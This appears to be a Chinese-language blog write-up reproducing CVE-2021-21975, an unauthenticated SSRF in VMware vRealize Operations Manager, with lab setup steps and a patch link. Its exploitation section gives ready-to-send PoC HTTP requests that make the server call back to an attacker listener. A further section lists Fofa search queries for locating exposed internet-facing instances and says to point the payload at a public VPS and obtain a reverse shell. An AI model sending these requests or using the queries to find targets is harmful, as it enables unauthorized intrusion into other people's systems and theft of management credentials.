VMware vRealize Operations Manager SSRF漏洞（CVE-2021-21975）

0x01 vRealize Operations Manager介绍

vRealize Operations Manager 是vmware官方提供的针对vmware虚拟化平台的一套运维管理解决方案。2021 年 3 月 31 日，VMware官方发布安全公告，披露了CVE-2021-21975 VMware vRealize Operations Manager API SSRF。攻击者在无需身份验证和用户交互的情况下，可利用此漏洞窃取管理凭，可直接反弹shell 。

0x02 影响版本

VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、8.0.1、8.0.0、7.5.0
VMware Cloud Foundation 4.x，3.x
vRealize Suite Lifecycle Manager 8.x

0x03 漏洞原理

由于/casa/nodes/thumbprints该路径的API网络访问权限存在漏洞。攻击者可通过vRealize Operations Manager API的网络访问权限构造恶意请求，可以执行服务器端请求伪造攻击，以窃取管理凭据。

0x04  漏洞复现

这里选择环境搭建的版本为8.3.0，师傅们有兴趣可选择其它版本复现一下。

先注册一个账号才能下载，注册地址

>https://my.vmware.com/cn/web/vmware/registration

激活之后登录选择下载版本，下载地址

>https://my.vmware.com/zh/group/vmware/patch#search

下载完成之后选择打开方式，打开方式选择vmware

选择**下一步**

选择**导入**

等待导入成功即可

启动该虚拟机

踩坑了，**需要注意**

这里一定需要等待初始化的**5min17s**完成之后才可以，由于我没有初始化完成直接重启虚拟机直接废掉了，所以需要重新导入虚拟机镜像

访问路径

>https://192.168.31.176

这里直接重定向到UI界面

点击**快速安装**

点击->下一步,然后设置密码

然后点击->完成即可

等待几分钟后成功访问index页面环境搭建成功

0x05 漏洞利用

POC

```
POST /casa/nodes/thumbprints HTTP/1.1
Host: x.x.x.x
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 36
["payload_address"]
```

所以构造poyload如下：

```
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.31.176
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 23
["192.168.31.234:2222"]
```

修改host，查看回显

监听2222端口查看结果

windows下自己下载nc.exe,复现的话利用ssrf反弹shell到自己本地比较方便，有一点比较值得注意的就是poc的选择，网上的poc多多少少个别字段有些差异，刚开始反弹不到本地返回信息一直显示400和404，失败的原因就是poc选择的有问题

0x06 Fofa利用

fofa语句

>body="vRealize Operations Manager"

或者

>title="vRealize Operations Manager"

或者

>"vRealize Operations Manager"

指纹可以自己找，好用就行

利用poc，修改payload的地址为dnslog或者公网vps，反弹shell即可

0x07 免责声明

文章仅供技术交流，任何非法使用造成的后果与本作者无关，谢谢！！！

0x08 修复建议

VMware官网已发布安全补丁，建议下载及时修复漏洞，下载地址

>https://www.vmware.com/security/advisories/VMSA-2021-0004.html

0x09 参考链接

>https://www.vmware.com/security/advisories/VMSA-2021-0004.html